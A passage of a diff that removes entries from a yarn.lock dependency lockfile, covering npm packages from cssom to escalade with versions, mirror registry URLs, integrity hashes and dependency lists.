-  resolved "https://registry.npm.taobao.org/cssom/download/cssom-0.4.4.tgz#5a66cf93d2d0b661d80bf6a44fb65f5c2e4e0a10"
-  integrity sha1-WmbPk9LQtmHYC/akT7ZfXC5OChA=
-
-cssom@~0.3.6:
-  version "0.3.8"
-  resolved "https://registry.npm.taobao.org/cssom/download/cssom-0.3.8.tgz#9f1276f5b2b463f2114d3f2c75250af8c1a36f4a"
-  integrity sha1-nxJ29bK0Y/IRTT8sdSUK+MGjb0o=
-
-cssstyle@^2.3.0:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/cssstyle/download/cssstyle-2.3.0.tgz#ff665a0ddbdc31864b09647f34163443d90b0852"
-  integrity sha1-/2ZaDdvcMYZLCWR/NBY0Q9kLCFI=
-  dependencies:
-    cssom "~0.3.6"
-
-csstype@^3.0.2:
-  version "3.0.8"
-  resolved "https://registry.yarnpkg.com/csstype/-/csstype-3.0.8.tgz#d2266a792729fb227cd216fb572f43728e1ad340"
-  integrity sha512-jXKhWqXPmlUeoQnF/EhTtTl4C9SnrxSH/jZUih3jmO6lBKr99rP3/+FmrMj4EFpOXzMtXHAZkd3x0E6h6Fgflw==
-
-cyclist@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/cyclist/download/cyclist-1.0.1.tgz#596e9698fd0c80e12038c2b82d6eb1b35b6224d9"
-  integrity sha1-WW6WmP0MgOEgOMK4LW6xs1tiJNk=
-
-d@1, d@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/d/download/d-1.0.1.tgz#8698095372d58dbee346ffd0c7093f99f8f9eb5a"
-  integrity sha1-hpgJU3LVjb7jRv/Qxwk/mfj561o=
-  dependencies:
-    es5-ext "^0.10.50"
-    type "^1.0.1"
-
-damerau-levenshtein@^1.0.6:
-  version "1.0.7"
-  resolved "https://registry.nlark.com/damerau-levenshtein/download/damerau-levenshtein-1.0.7.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdamerau-levenshtein%2Fdownload%2Fdamerau-levenshtein-1.0.7.tgz#64368003512a1a6992593741a09a9d31a836f55d"
-  integrity sha1-ZDaAA1EqGmmSWTdBoJqdMag29V0=
-
-data-urls@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/data-urls/download/data-urls-2.0.0.tgz#156485a72963a970f5d5821aaf642bef2bf2db9b"
-  integrity sha1-FWSFpyljqXD11YIar2Qr7yvy25s=
-  dependencies:
-    abab "^2.0.3"
-    whatwg-mimetype "^2.3.0"
-    whatwg-url "^8.0.0"
-
-debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.0, debug@^2.6.9:
-  version "2.6.9"
-  resolved "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
-  integrity sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=
-  dependencies:
-    ms "2.0.0"
-
-debug@4, debug@^4.0.1, debug@^4.1.0, debug@^4.1.1, debug@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/debug/download/debug-4.3.1.tgz#f0d229c505e0c6d8c49ac553d1b13dc183f6b2ee"
-  integrity sha1-8NIpxQXgxtjEmsVT0bE9wYP2su4=
-  dependencies:
-    ms "2.1.2"
-
-debug@^3.1.1, debug@^3.2.6, debug@^3.2.7:
-  version "3.2.7"
-  resolved "https://registry.npm.taobao.org/debug/download/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
-  integrity sha1-clgLfpFF+zm2Z2+cXl+xALk0F5o=
-  dependencies:
-    ms "^2.1.1"
-
-decamelize@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/decamelize/download/decamelize-1.2.0.tgz?cache=0&sync_timestamp=1610348670939&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdecamelize%2Fdownload%2Fdecamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290"
-  integrity sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=
-
-decimal.js@^10.2.1:
-  version "10.2.1"
-  resolved "https://registry.npm.taobao.org/decimal.js/download/decimal.js-10.2.1.tgz#238ae7b0f0c793d3e3cea410108b35a2c01426a3"
-  integrity sha1-I4rnsPDHk9PjzqQQEIs1osAUJqM=
-
-decode-uri-component@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.npm.taobao.org/decode-uri-component/download/decode-uri-component-0.2.0.tgz#eb3913333458775cb84cd1a1fae062106bb87545"
-  integrity sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=
-
-dedent@^0.7.0:
-  version "0.7.0"
-  resolved "https://registry.npm.taobao.org/dedent/download/dedent-0.7.0.tgz?cache=0&sync_timestamp=1608580825991&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdedent%2Fdownload%2Fdedent-0.7.0.tgz#2495ddbaf6eb874abb0e1be9df22d2e5a544326c"
-  integrity sha1-JJXduvbrh0q7Dhvp3yLS5aVEMmw=
-
-deep-equal@^1.0.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/deep-equal/download/deep-equal-1.1.1.tgz#b5c98c942ceffaf7cb051e24e1434a25a2e6076a"
-  integrity sha1-tcmMlCzv+vfLBR4k4UNKJaLmB2o=
-  dependencies:
-    is-arguments "^1.0.4"
-    is-date-object "^1.0.1"
-    is-regex "^1.0.4"
-    object-is "^1.0.1"
-    object-keys "^1.1.1"
-    regexp.prototype.flags "^1.2.0"
-
-deep-is@^0.1.3, deep-is@~0.1.3:
-  version "0.1.3"
-  resolved "https://registry.npm.taobao.org/deep-is/download/deep-is-0.1.3.tgz#b369d6fb5dbc13eecf524f91b070feedc357cf34"
-  integrity sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=
-
-deepmerge@^4.2.2:
-  version "4.2.2"
-  resolved "https://registry.npm.taobao.org/deepmerge/download/deepmerge-4.2.2.tgz?cache=0&sync_timestamp=1606805746825&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdeepmerge%2Fdownload%2Fdeepmerge-4.2.2.tgz#44d2ea3679b8f4d4ffba33f03d865fc1e7bf4955"
-  integrity sha1-RNLqNnm49NT/ujPwPYZfwee/SVU=
-
-default-gateway@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/default-gateway/download/default-gateway-4.2.0.tgz?cache=0&sync_timestamp=1610365816953&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdefault-gateway%2Fdownload%2Fdefault-gateway-4.2.0.tgz#167104c7500c2115f6dd69b0a536bb8ed720552b"
-  integrity sha1-FnEEx1AMIRX23WmwpTa7jtcgVSs=
-  dependencies:
-    execa "^1.0.0"
-    ip-regex "^2.1.0"
-
-define-properties@^1.1.2, define-properties@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.npm.taobao.org/define-properties/download/define-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1"
-  integrity sha1-z4jabL7ib+bbcJT2HYcMvYTO6fE=
-  dependencies:
-    object-keys "^1.0.12"
-
-define-property@^0.2.5:
-  version "0.2.5"
-  resolved "https://registry.npm.taobao.org/define-property/download/define-property-0.2.5.tgz#c35b1ef918ec3c990f9a5bc57be04aacec5c8116"
-  integrity sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=
-  dependencies:
-    is-descriptor "^0.1.0"
-
-define-property@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/define-property/download/define-property-1.0.0.tgz#769ebaaf3f4a63aad3af9e8d304c9bbe79bfb0e6"
-  integrity sha1-dp66rz9KY6rTr56NMEybvnm/sOY=
-  dependencies:
-    is-descriptor "^1.0.0"
-
-define-property@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/define-property/download/define-property-2.0.2.tgz#d459689e8d654ba77e02a817f8710d702cb16e9d"
-  integrity sha1-1Flono1lS6d+AqgX+HENcCyxbp0=
-  dependencies:
-    is-descriptor "^1.0.2"
-    isobject "^3.0.1"
-
-del@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.npm.taobao.org/del/download/del-4.1.1.tgz#9e8f117222ea44a31ff3a156c049b99052a9f0b4"
-  integrity sha1-no8RciLqRKMf86FWwEm5kFKp8LQ=
-  dependencies:
-    "@types/glob" "^7.1.1"
-    globby "^6.1.0"
-    is-path-cwd "^2.0.0"
-    is-path-in-cwd "^2.0.0"
-    p-map "^2.0.0"
-    pify "^4.0.1"
-    rimraf "^2.6.3"
-
-delayed-stream@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/delayed-stream/download/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
-  integrity sha1-3zrhmayt+31ECqrgsp4icrJOxhk=
-
-depd@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/depd/download/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9"
-  integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=
-
-dequal@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/dequal/-/dequal-2.0.2.tgz#85ca22025e3a87e65ef75a7a437b35284a7e319d"
-  integrity sha512-q9K8BlJVxK7hQYqa6XISGmBZbtQQWVXSrRrWreHC94rMt1QL/Impruc+7p2CYSYuVIUr+YCt6hjrs1kkdJRTug==
-
-des.js@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/des.js/download/des.js-1.0.1.tgz#5382142e1bdc53f85d86d53e5f4aa7deb91e0843"
-  integrity sha1-U4IULhvcU/hdhtU+X0qn3rkeCEM=
-  dependencies:
-    inherits "^2.0.1"
-    minimalistic-assert "^1.0.0"
-
-destroy@~1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/destroy/download/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80"
-  integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=
-
-detect-newline@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/detect-newline/download/detect-newline-3.1.0.tgz#576f5dfc63ae1a192ff192d8ad3af6308991b651"
-  integrity sha1-V29d/GOuGhkv8ZLYrTr2MImRtlE=
-
-detect-node@^2.0.4:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/detect-node/download/detect-node-2.1.0.tgz?cache=0&sync_timestamp=1621146976557&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdetect-node%2Fdownload%2Fdetect-node-2.1.0.tgz#c9c70775a49c3d03bc2c06d9a73be550f978f8b1"
-  integrity sha1-yccHdaScPQO8LAbZpzvlUPl4+LE=
-
-detect-port-alt@1.1.6:
-  version "1.1.6"
-  resolved "https://registry.npm.taobao.org/detect-port-alt/download/detect-port-alt-1.1.6.tgz#24707deabe932d4a3cf621302027c2b266568275"
-  integrity sha1-JHB96r6TLUo89iEwICfCsmZWgnU=
-  dependencies:
-    address "^1.0.1"
-    debug "^2.6.0"
-
-diff-sequences@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/diff-sequences/download/diff-sequences-26.6.2.tgz?cache=0&sync_timestamp=1621937263741&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdiff-sequences%2Fdownload%2Fdiff-sequences-26.6.2.tgz#48ba99157de1923412eed41db6b6d4aa9ca7c0b1"
-  integrity sha1-SLqZFX3hkjQS7tQdtrbUqpynwLE=
-
-diffie-hellman@^5.0.0:
-  version "5.0.3"
-  resolved "https://registry.npm.taobao.org/diffie-hellman/download/diffie-hellman-5.0.3.tgz#40e8ee98f55a2149607146921c63e1ae5f3d2875"
-  integrity sha1-QOjumPVaIUlgcUaSHGPhrl89KHU=
-  dependencies:
-    bn.js "^4.1.0"
-    miller-rabin "^4.0.0"
-    randombytes "^2.0.0"
-
-dir-glob@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/dir-glob/download/dir-glob-3.0.1.tgz#56dbf73d992a4a93ba1584f4534063fd2e41717f"
-  integrity sha1-Vtv3PZkqSpO6FYT0U0Bj/S5BcX8=
-  dependencies:
-    path-type "^4.0.0"
-
-dns-equal@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/dns-equal/download/dns-equal-1.0.0.tgz#b39e7f1da6eb0a75ba9c17324b34753c47e0654d"
-  integrity sha1-s55/HabrCnW6nBcySzR1PEfgZU0=
-
-dns-packet@^1.3.1:
-  version "1.3.4"
-  resolved "https://registry.nlark.com/dns-packet/download/dns-packet-1.3.4.tgz#e3455065824a2507ba886c55a89963bb107dec6f"
-  integrity sha1-40VQZYJKJQe6iGxVqJljuxB97G8=
-  dependencies:
-    ip "^1.1.0"
-    safe-buffer "^5.0.1"
-
-dns-txt@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/dns-txt/download/dns-txt-2.0.2.tgz#b91d806f5d27188e4ab3e7d107d881a1cc4642b6"
-  integrity sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=
-  dependencies:
-    buffer-indexof "^1.0.0"
-
-doctrine@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/doctrine/download/doctrine-2.1.0.tgz#5cd01fc101621b42c4cd7f5d1a66243716d3f39d"
-  integrity sha1-XNAfwQFiG0LEzX9dGmYkNxbT850=
-  dependencies:
-    esutils "^2.0.2"
-
-doctrine@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/doctrine/download/doctrine-3.0.0.tgz#addebead72a6574db783639dc87a121773973961"
-  integrity sha1-rd6+rXKmV023g2OdyHoSF3OXOWE=
-  dependencies:
-    esutils "^2.0.2"
-
-dom-accessibility-api@^0.5.6:
-  version "0.5.6"
-  resolved "https://registry.nlark.com/dom-accessibility-api/download/dom-accessibility-api-0.5.6.tgz?cache=0&sync_timestamp=1622712225792&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdom-accessibility-api%2Fdownload%2Fdom-accessibility-api-0.5.6.tgz#3f5d43b52c7a3bd68b5fb63fa47b4e4c1fdf65a9"
-  integrity sha1-P11DtSx6O9aLX7Y/pHtOTB/fZak=
-
-dom-converter@^0.2:
-  version "0.2.0"
-  resolved "https://registry.npm.taobao.org/dom-converter/download/dom-converter-0.2.0.tgz#6721a9daee2e293682955b6afe416771627bb768"
-  integrity sha1-ZyGp2u4uKTaClVtq/kFncWJ7t2g=
-  dependencies:
-    utila "~0.4"
-
-dom-helpers@^5.0.1, dom-helpers@^5.2.0, dom-helpers@^5.2.1:
-  version "5.2.1"
-  resolved "https://registry.yarnpkg.com/dom-helpers/-/dom-helpers-5.2.1.tgz#d9400536b2bf8225ad98fe052e029451ac40e902"
-  integrity sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==
-  dependencies:
-    "@babel/runtime" "^7.8.7"
-    csstype "^3.0.2"
-
-dom-serializer@0:
-  version "0.2.2"
-  resolved "https://registry.nlark.com/dom-serializer/download/dom-serializer-0.2.2.tgz?cache=0&sync_timestamp=1621256858583&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdom-serializer%2Fdownload%2Fdom-serializer-0.2.2.tgz#1afb81f533717175d478655debc5e332d9f9bb51"
-  integrity sha1-GvuB9TNxcXXUeGVd68XjMtn5u1E=
-  dependencies:
-    domelementtype "^2.0.1"
-    entities "^2.0.0"
-
-domain-browser@^1.1.1:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/domain-browser/download/domain-browser-1.2.0.tgz?cache=0&sync_timestamp=1604239910191&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdomain-browser%2Fdownload%2Fdomain-browser-1.2.0.tgz#3d31f50191a6749dd1375a7f522e823d42e54eda"
-  integrity sha1-PTH1AZGmdJ3RN1p/Ui6CPULlTto=
-
-domelementtype@1, domelementtype@^1.3.1:
-  version "1.3.1"
-  resolved "https://registry.npm.taobao.org/domelementtype/download/domelementtype-1.3.1.tgz?cache=0&sync_timestamp=1617298495910&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdomelementtype%2Fdownload%2Fdomelementtype-1.3.1.tgz#d048c44b37b0d10a7f2a3d5fee3f4333d790481f"
-  integrity sha1-0EjESzew0Qp/Kj1f7j9DM9eQSB8=
-
-domelementtype@^2.0.1:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/domelementtype/download/domelementtype-2.2.0.tgz?cache=0&sync_timestamp=1617298495910&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdomelementtype%2Fdownload%2Fdomelementtype-2.2.0.tgz#9a0b6c2782ed6a1c7323d42267183df9bd8b1d57"
-  integrity sha1-mgtsJ4LtahxzI9QiZxg9+b2LHVc=
-
-domexception@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/domexception/download/domexception-2.0.1.tgz#fb44aefba793e1574b0af6aed2801d057529f304"
-  integrity sha1-+0Su+6eT4VdLCvau0oAdBXUp8wQ=
-  dependencies:
-    webidl-conversions "^5.0.0"
-
-domhandler@^2.3.0:
-  version "2.4.2"
-  resolved "https://registry.npm.taobao.org/domhandler/download/domhandler-2.4.2.tgz?cache=0&sync_timestamp=1618563954924&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdomhandler%2Fdownload%2Fdomhandler-2.4.2.tgz#8805097e933d65e85546f726d60f5eb88b44f803"
-  integrity sha1-iAUJfpM9ZehVRvcm1g9euItE+AM=
-  dependencies:
-    domelementtype "1"
-
-domutils@^1.5.1, domutils@^1.7.0:
-  version "1.7.0"
-  resolved "https://registry.nlark.com/domutils/download/domutils-1.7.0.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdomutils%2Fdownload%2Fdomutils-1.7.0.tgz#56ea341e834e06e6748af7a1cb25da67ea9f8c2a"
-  integrity sha1-Vuo0HoNOBuZ0ivehyyXaZ+qfjCo=
-  dependencies:
-    dom-serializer "0"
-    domelementtype "1"
-
-dot-case@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.npm.taobao.org/dot-case/download/dot-case-3.0.4.tgz?cache=0&sync_timestamp=1606867255091&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdot-case%2Fdownload%2Fdot-case-3.0.4.tgz#9b2b670d00a431667a8a75ba29cd1b98809ce751"
-  integrity sha1-mytnDQCkMWZ6inW6Kc0bmICc51E=
-  dependencies:
-    no-case "^3.0.4"
-    tslib "^2.0.3"
-
-dot-prop@^5.2.0:
-  version "5.3.0"
-  resolved "https://registry.npm.taobao.org/dot-prop/download/dot-prop-5.3.0.tgz#90ccce708cd9cd82cc4dc8c3ddd9abdd55b20e88"
-  integrity sha1-kMzOcIzZzYLMTcjD3dmr3VWyDog=
-  dependencies:
-    is-obj "^2.0.0"
-
-dotenv-expand@5.1.0:
-  version "5.1.0"
-  resolved "https://registry.npm.taobao.org/dotenv-expand/download/dotenv-expand-5.1.0.tgz#3fbaf020bfd794884072ea26b1e9791d45a629f0"
-  integrity sha1-P7rwIL/XlIhAcuomsel5HUWmKfA=
-
-dotenv@8.2.0:
-  version "8.2.0"
-  resolved "https://registry.nlark.com/dotenv/download/dotenv-8.2.0.tgz?cache=0&sync_timestamp=1621628681571&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdotenv%2Fdownload%2Fdotenv-8.2.0.tgz#97e619259ada750eea3e4ea3e26bceea5424b16a"
-  integrity sha1-l+YZJZradQ7qPk6j4mvO6lQksWo=
-
-duplexer@^0.1.1:
-  version "0.1.2"
-  resolved "https://registry.npm.taobao.org/duplexer/download/duplexer-0.1.2.tgz#3abe43aef3835f8ae077d136ddce0f276b0400e6"
-  integrity sha1-Or5DrvODX4rgd9E23c4PJ2sEAOY=
-
-duplexify@^3.4.2, duplexify@^3.6.0:
-  version "3.7.1"
-  resolved "https://registry.npm.taobao.org/duplexify/download/duplexify-3.7.1.tgz#2a4df5317f6ccfd91f86d6fd25d8d8a103b88309"
-  integrity sha1-Kk31MX9sz9kfhtb9JdjYoQO4gwk=
-  dependencies:
-    end-of-stream "^1.0.0"
-    inherits "^2.0.1"
-    readable-stream "^2.0.0"
-    stream-shift "^1.0.0"
-
-ee-first@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/ee-first/download/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
-  integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=
-
-ejs@^2.6.1:
-  version "2.7.4"
-  resolved "https://registry.npm.taobao.org/ejs/download/ejs-2.7.4.tgz#48661287573dcc53e366c7a1ae52c3a120eec9ba"
-  integrity sha1-SGYSh1c9zFPjZsehrlLDoSDuybo=
-
-electron-to-chromium@^1.3.564, electron-to-chromium@^1.3.723:
-  version "1.3.749"
-  resolved "https://registry.nlark.com/electron-to-chromium/download/electron-to-chromium-1.3.749.tgz#0ecebc529ceb49dd2a7c838ae425236644c3439a"
-  integrity sha1-Ds68UpzrSd0qfIOK5CUjZkTDQ5o=
-
-elliptic@^6.5.3:
-  version "6.5.4"
-  resolved "https://registry.npm.taobao.org/elliptic/download/elliptic-6.5.4.tgz#da37cebd31e79a1367e941b592ed1fbebd58abbb"
-  integrity sha1-2jfOvTHnmhNn6UG1ku0fvr1Yq7s=
-  dependencies:
-    bn.js "^4.11.9"
-    brorand "^1.1.0"
-    hash.js "^1.0.0"
-    hmac-drbg "^1.0.1"
-    inherits "^2.0.4"
-    minimalistic-assert "^1.0.1"
-    minimalistic-crypto-utils "^1.0.1"
-
-emittery@^0.7.1:
-  version "0.7.2"
-  resolved "https://registry.nlark.com/emittery/download/emittery-0.7.2.tgz?cache=0&sync_timestamp=1622640811306&other_urls=https%3A%2F%2Fregistry.nlark.com%2Femittery%2Fdownload%2Femittery-0.7.2.tgz#25595908e13af0f5674ab419396e2fb394cdfa82"
-  integrity sha1-JVlZCOE68PVnSrQZOW4vs5TN+oI=
-
-emoji-regex@^7.0.1:
-  version "7.0.3"
-  resolved "https://registry.npm.taobao.org/emoji-regex/download/emoji-regex-7.0.3.tgz?cache=0&sync_timestamp=1614682725186&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Femoji-regex%2Fdownload%2Femoji-regex-7.0.3.tgz#933a04052860c85e83c122479c4748a8e4c72156"
-  integrity sha1-kzoEBShgyF6DwSJHnEdIqOTHIVY=
-
-emoji-regex@^8.0.0:
-  version "8.0.0"
-  resolved "https://registry.npm.taobao.org/emoji-regex/download/emoji-regex-8.0.0.tgz?cache=0&sync_timestamp=1614682725186&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Femoji-regex%2Fdownload%2Femoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
-  integrity sha1-6Bj9ac5cz8tARZT4QpY79TFkzDc=
-
-emoji-regex@^9.0.0:
-  version "9.2.2"
-  resolved "https://registry.npm.taobao.org/emoji-regex/download/emoji-regex-9.2.2.tgz?cache=0&sync_timestamp=1614682725186&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Femoji-regex%2Fdownload%2Femoji-regex-9.2.2.tgz#840c8803b0d8047f4ff0cf963176b32d4ef3ed72"
-  integrity sha1-hAyIA7DYBH9P8M+WMXazLU7z7XI=
-
-emojis-list@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/emojis-list/download/emojis-list-2.1.0.tgz#4daa4d9db00f9819880c79fa457ae5b09a1fd389"
-  integrity sha1-TapNnbAPmBmIDHn6RXrlsJof04k=
-
-emojis-list@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/emojis-list/download/emojis-list-3.0.0.tgz#5570662046ad29e2e916e71aae260abdff4f6a78"
-  integrity sha1-VXBmIEatKeLpFucariYKvf9Pang=
-
-encodeurl@~1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/encodeurl/download/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
-  integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=
-
-end-of-stream@^1.0.0, end-of-stream@^1.1.0:
-  version "1.4.4"
-  resolved "https://registry.npm.taobao.org/end-of-stream/download/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0"
-  integrity sha1-WuZKX0UFe682JuwU2gyl5LJDHrA=
-  dependencies:
-    once "^1.4.0"
-
-enhanced-resolve@^4.3.0:
-  version "4.5.0"
-  resolved "https://registry.nlark.com/enhanced-resolve/download/enhanced-resolve-4.5.0.tgz?cache=0&sync_timestamp=1620663122954&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fenhanced-resolve%2Fdownload%2Fenhanced-resolve-4.5.0.tgz#2f3cfd84dbe3b487f18f2db2ef1e064a571ca5ec"
-  integrity sha1-Lzz9hNvjtIfxjy2y7x4GSlccpew=
-  dependencies:
-    graceful-fs "^4.1.2"
-    memory-fs "^0.5.0"
-    tapable "^1.0.0"
-
-enquirer@^2.3.5:
-  version "2.3.6"
-  resolved "https://registry.npm.taobao.org/enquirer/download/enquirer-2.3.6.tgz#2a7fe5dd634a1e4125a975ec994ff5456dc3734d"
-  integrity sha1-Kn/l3WNKHkElqXXsmU/1RW3Dc00=
-  dependencies:
-    ansi-colors "^4.1.1"
-
-entities@^1.1.1:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/entities/download/entities-1.1.2.tgz#bdfa735299664dfafd34529ed4f8522a275fea56"
-  integrity sha1-vfpzUplmTfr9NFKe1PhSKidf6lY=
-
-entities@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/entities/download/entities-2.2.0.tgz#098dc90ebb83d8dffa089d55256b351d34c4da55"
-  integrity sha1-CY3JDruD2N/6CJ1VJWs1HTTE2lU=
-
-errno@^0.1.3, errno@~0.1.7:
-  version "0.1.8"
-  resolved "https://registry.npm.taobao.org/errno/download/errno-0.1.8.tgz#8bb3e9c7d463be4976ff888f76b4809ebc2e811f"
-  integrity sha1-i7Ppx9Rjvkl2/4iPdrSAnrwugR8=
-  dependencies:
-    prr "~1.0.1"
-
-error-ex@^1.3.1:
-  version "1.3.2"
-  resolved "https://registry.npm.taobao.org/error-ex/download/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
-  integrity sha1-tKxAZIEH/c3PriQvQovqihTU8b8=
-  dependencies:
-    is-arrayish "^0.2.1"
-
-error-stack-parser@^2.0.6:
-  version "2.0.6"
-  resolved "https://registry.npm.taobao.org/error-stack-parser/download/error-stack-parser-2.0.6.tgz#5a99a707bd7a4c58a797902d48d82803ede6aad8"
-  integrity sha1-WpmnB716TFinl5AtSNgoA+3mqtg=
-  dependencies:
-    stackframe "^1.1.1"
-
-es-abstract@^1.17.2, es-abstract@^1.18.0-next.1, es-abstract@^1.18.0-next.2, es-abstract@^1.18.2:
-  version "1.18.3"
-  resolved "https://registry.nlark.com/es-abstract/download/es-abstract-1.18.3.tgz#25c4c3380a27aa203c44b2b685bba94da31b63e0"
-  integrity sha1-JcTDOAonqiA8RLK2hbupTaMbY+A=
-  dependencies:
-    call-bind "^1.0.2"
-    es-to-primitive "^1.2.1"
-    function-bind "^1.1.1"
-    get-intrinsic "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.2"
-    is-callable "^1.2.3"
-    is-negative-zero "^2.0.1"
-    is-regex "^1.1.3"
-    is-string "^1.0.6"
-    object-inspect "^1.10.3"
-    object-keys "^1.1.1"
-    object.assign "^4.1.2"
-    string.prototype.trimend "^1.0.4"
-    string.prototype.trimstart "^1.0.4"
-    unbox-primitive "^1.0.1"
-
-es-to-primitive@^1.2.1:
-  version "1.2.1"
-  resolved "https://registry.npm.taobao.org/es-to-primitive/download/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
-  integrity sha1-5VzUyc3BiLzvsDs2bHNjI/xciYo=
-  dependencies:
-    is-callable "^1.1.4"
-    is-date-object "^1.0.1"
-    is-symbol "^1.0.2"
-
-es5-ext@^0.10.35, es5-ext@^0.10.50:
-  version "0.10.53"
-  resolved "https://registry.npm.taobao.org/es5-ext/download/es5-ext-0.10.53.tgz#93c5a3acfdbef275220ad72644ad02ee18368de1"
-  integrity sha1-k8WjrP2+8nUiCtcmRK0C7hg2jeE=
-  dependencies:
-    es6-iterator "~2.0.3"
-    es6-symbol "~3.1.3"
-    next-tick "~1.0.0"
-
-es6-iterator@2.0.3, es6-iterator@~2.0.3:
-  version "2.0.3"
-  resolved "https://registry.npm.taobao.org/es6-iterator/download/es6-iterator-2.0.3.tgz#a7de889141a05a94b0854403b2d0a0fbfa98f3b7"
-  integrity sha1-p96IkUGgWpSwhUQDstCg+/qY87c=
-  dependencies:
-    d "1"
-    es5-ext "^0.10.35"
-    es6-symbol "^3.1.1"
-
-es6-symbol@^3.1.1, es6-symbol@~3.1.3:
-  version "3.1.3"
-  resolved "https://registry.npm.taobao.org/es6-symbol/download/es6-symbol-3.1.3.tgz#bad5d3c1bcdac28269f4cb331e431c78ac705d18"
-  integrity sha1-utXTwbzawoJp9MszHkMceKxwXRg=
-  dependencies:
-    d "^1.0.1"
-    ext "^1.1.2"
-
-escalade@^3.0.2, escalade@^3.1.1:
-  version "3.1.1"
